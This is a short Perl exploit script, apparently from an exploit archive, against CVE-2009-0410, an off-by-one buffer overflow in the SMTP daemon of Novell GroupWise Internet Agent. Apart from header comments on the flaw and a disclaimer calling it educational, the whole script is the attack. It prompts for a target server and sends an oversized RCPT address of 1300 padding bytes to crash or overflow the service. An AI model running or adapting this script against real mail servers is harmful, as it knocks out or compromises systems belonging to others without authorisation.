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#!usr/bin/perl -w
####################################################################################### ###############################QUICK AND DIRTY EXPLOIT################################# ####################################################################################### # Off-by-one error in the SMTP daemon in GroupWise Internet Agent (GWIA) # in Novell GroupWise 6.5x, 7.0, 7.01, 7.02, 7.03, 7.03HP1a, and 8.0 allows # remote attackers to execute arbitrary code via a long e-mail address in a # malformed RCPT command, leading to a buffer overflow. # Refer: # http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-0410 # # To run this exploit on MS Windows replace "#!usr/bin/perl -w" with # "#!Installation_path_for_perl -w" (say #!C:/Program Files/Perl/bin/perl -w) # #$$$$$This was strictly written for educational purpose. Use it at your own risk.$$$$$ #$$$$$Author will not bare any responsibility for any damages watsoever.$$$$$$$$$$$$$$ # # Author: Praveen Darshanam # Email: praveen[underscore]recker[at]sify.com\ # Blog: http://www.darshanams.blogspot.com/ # Date: 04th February, 2009 # ########Thanx to str0ke, milw0rm, @rp m@n, an all the security folks#################### ########################################################################################
use Net::SMTP; print "***SMTP module is working fine***\n";
$buff="D" x 1300; print "Enter Vulnerable Novell GroupWise SMTP Server Domain Name\n"; $smtp_vuln_server_name=<STDIN>; chop($smtp_vuln_server_name);
$smtp_attack=Net::SMTP->new("$smtp_vuln_server_name"); print"\nEnter your/from mail ID here\n"; $$mail_from=<STDIN>; chop($mail_from);
print"\nEnter Recepient mail ID\n"; $to_mail_id=<STDIN>; chop($to_mail_id);
$mal_buffer=$buff.$to_mail_id;
$smtp_attack->mail($mail_from); $smtp_attack->to($mal_buffer);
$smtp_attack->data(); $smtp_attack->datasend("Attacking...");
$smtp_attack->quit();
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